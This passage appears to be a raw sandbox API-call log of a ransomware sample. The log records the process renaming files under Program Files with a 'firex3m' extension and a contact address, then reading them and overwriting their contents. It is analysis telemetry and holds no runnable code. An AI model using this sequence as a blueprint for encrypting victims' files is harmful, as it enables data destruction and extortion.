dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0233.921] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x515ecbe5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8fe1, dwReserved0=0xa807496, dwReserved1=0x717640, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0233.921] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0233.922] Sleep (dwMilliseconds=0x1) [0235.607] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml") returned 1 [0235.607] GetProcessHeap () returned 0x630000 [0235.608] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe8) returned 0x6fe3bb0 [0235.608] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0235.608] CloseHandle (hObject=0x6cc) returned 1 [0235.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.608] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5340 [0235.609] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.609] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0235.610] GetProcessHeap () returned 0x630000 [0235.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4370 [0235.610] GetProcessHeap () returned 0x630000 [0235.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0235.610] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.610] ReadFile (in: hFile=0x6cc, lpBuffer=0x6f4370, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4370*, lpNumberOfBytesRead=0x5afff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.612] GetProcessHeap () returned 0x630000 [0235.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0235.612] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.612] WriteFile (in: hFile=0x6cc, lpBuffer=0x6f3e48*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesWritten=0x5afff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.612] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.612] WriteFile (in: hFile=0x6cc, lpBuffer=0x6f3fc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3fc7*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.613] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.613] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.613] CloseHandle (hObject=0x6cc) returned 1 [0235.613] GetProcessHeap () returned 0x630000 [0235.613] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0235.613] GetProcessHeap () returned 0x630000 [0235.613] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4370 | out: hHeap=0x630000) returned 1 [0235.613] GetProcessHeap () returned 0x630000 [0235.613] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0235.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5262ab28, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x5affd20, dwReserved1=0x6f4370, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5240 [0235.613] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.613] Sleep (dwMilliseconds=0x1) [0235.630] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml") returned 1 [0235.630] GetProcessHeap () returned 0x630000 [0235.630] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd4) returned 0x6fe3bb0 [0235.630] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0235.631] CloseHandle (hObject=0x6e4) returned 1 [0235.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.631] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5240 [0235.632] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.632] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0235.632] GetProcessHeap () returned 0x630000 [0235.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.632] GetProcessHeap () returned 0x630000 [0235.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.632] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.632] ReadFile (in: hFile=0x6e4, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x5afff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.634] GetProcessHeap () returned 0x630000 [0235.634] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0235.634] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.634] WriteFile (in: hFile=0x6e4, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x5afff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.635] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.635] WriteFile (in: hFile=0x6e4, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.635] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.635] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.635] CloseHandle (hObject=0x6e4) returned 1 [0235.635] GetProcessHeap () returned 0x630000 [0235.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.635] GetProcessHeap () returned 0x630000 [0235.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.635] GetProcessHeap () returned 0x630000 [0235.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0235.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52650d04, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x5affd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d54c0 [0235.636] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0235.636] Sleep (dwMilliseconds=0x1) [0235.641] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml") returned 1 [0235.641] GetProcessHeap () returned 0x630000 [0235.641] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc8) returned 0x6fe3bb0 [0235.642] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0235.642] CloseHandle (hObject=0x698) returned 1 [0235.642] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.642] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.643] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0235.643] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.643] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0235.643] GetProcessHeap () returned 0x630000 [0235.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4370 [0235.643] GetProcessHeap () returned 0x630000 [0235.644] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0235.644] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.644] ReadFile (in: hFile=0x698, lpBuffer=0x6f4370, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4370*, lpNumberOfBytesRead=0x5afff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.646] GetProcessHeap () returned 0x630000 [0235.646] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0235.646] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.646] WriteFile (in: hFile=0x698, lpBuffer=0x6f3e48*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesWritten=0x5afff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.646] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.646] WriteFile (in: hFile=0x698, lpBuffer=0x6f3fc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3fc7*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.646] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.646] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.647] CloseHandle (hObject=0x698) returned 1 [0235.647] GetProcessHeap () returned 0x630000 [0235.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0235.647] GetProcessHeap () returned 0x630000 [0235.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4370 | out: hHeap=0x630000) returned 1 [0235.647] GetProcessHeap () returned 0x630000 [0235.647] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0235.647] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52677101, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x5affd20, dwReserved1=0x6f4370, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e40 [0235.647] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0235.647] Sleep (dwMilliseconds=0x1) [0235.662] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100_contrast-white.png", len=0x71 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100_contrast-white.png") returned 1 [0235.662] GetProcessHeap () returned 0x630000 [0235.662] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ff4) returned 0x6fe3bb0 [0235.662] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\list.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.662] Sleep (dwMilliseconds=0x1) [0235.674] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-140.png", len=0x68 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-140.png") returned 1 [0235.674] GetProcessHeap () returned 0x630000 [0235.674] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe4) returned 0x6fe3bb0 [0235.674] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-140.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\volume.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.678] Sleep (dwMilliseconds=0x1) [0235.719] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-140.png", len=0x66 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-140.png") returned 1 